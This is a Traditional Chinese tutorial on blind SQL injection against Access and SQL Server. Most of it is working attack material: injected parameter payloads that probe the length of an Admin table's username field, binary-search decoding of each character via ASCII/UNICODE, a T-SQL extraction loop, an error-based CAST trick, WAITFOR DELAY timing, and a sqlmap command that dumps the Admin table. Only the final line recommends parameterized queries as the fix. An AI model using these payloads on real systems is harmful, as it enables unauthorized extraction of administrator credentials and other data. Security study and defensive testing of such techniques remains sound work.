接續高階篇,本文詳細示範如何在已知表/欄位前提下,透過長度探測與 ASCII 逐字解碼提取資料,並整理 Access/SQL Server 常用函數對照表與中文 Unicode 處理技巧。
-- 參數:id=49 AND (SELECT TOP 1 LEN(username) FROM Admin) > 0
-- 依序測試 >1, >2, >3... 直到不成立
-- 假設 >7 成立、>8 不成立 → LEN = 8
實務採用**二分搜尋** (Binary Search) 加速:先測 >50、>25、>12... 縮小範圍再線性逼近。
-- 第 1 字元
id=49 AND (SELECT TOP 1 ASCII(SUBSTRING(username,1,1)) FROM Admin) > 0
-- 二分法:>64? >96? >112? ... 縮小至確切 ASCII 值
-- 英數字範圍 32-126,約 7 次猜測鎖定單一字元
SUBSTRING(str, start, len):SQL Server 截取函數ASCII():取第一字元 ASCII 碼| 功能 | Access | SQL Server | 備註 |
|---|---|---|---|
| 字元 → ASCII | ASC() | ASCII() / UNICODE() | 中文需用 UNICODE |
| ASCII → 字元 | CHR() | CHAR() / NCHAR() | 中文需用 NCHAR |
| 子字串擷取 | MID(str, n, l) | SUBSTRING(str, n, l) | 起始位置 1-based |
| 絕對值 | ABS() | ABS() | 中文負數處理 |
| 範圍判斷 | BETWEEN ... AND ... | BETWEEN ... AND ... | 語法相同 |
| 特性 | Access | SQL Server |
|---|---|---|
| 中文編碼 | 雙位元組 ANSI (Big5/GBK),ASCII 可能為負數 | UNICODE (UCS-2),固定 2 Bytes,碼點為正數 |
| 取碼函數 | ASC() 可能得負數 → ABS() 修正 | 必須用 UNICODE(),ASCII() 只取第一 Byte 會錯 |
| 還原字元 | CHR(ABS(val)) | NCHAR(val) |
| 猜測範圍 | 0-65535 (含負數修正) | 0-65535 (基本多文種平面 BMP) |
DECLARE @sql NVARCHAR(4000), @i INT = 1, @len INT, @ch NVARCHAR(1);
SELECT @len = LEN(username) FROM Admin WHERE id = 1; -- 假設已知長度
WHILE @i <= @len
BEGIN
-- 二分搜尋 UNICODE 碼點
SET @sql = 'SELECT CASE WHEN UNICODE(SUBSTRING(username,' + CAST(@i AS VARCHAR) + ',1)) > 30000 THEN 1 ELSE 0 END FROM Admin WHERE id=1';
-- ... 執行 @sql 並根據回傳 0/1 調整上下界 ...
SET @i = @i + 1;
END
CAST((SELECT TOP 1 username FROM Admin) AS INT) 直接觸發轉型錯誤,一次取得整串 (需錯誤頁回顯)WAITFOR DELAY 判斷真假 (慢、噪音大)sqlmap -u "url?id=1*" --dump -T Admin -C username 自動完成上述所有步驟**參數化查詢** 仍是唯一根治。上述所有技巧在參數化查詢前完全失效,因為使用者輸入永遠不會成為 SQL 代碼一部分。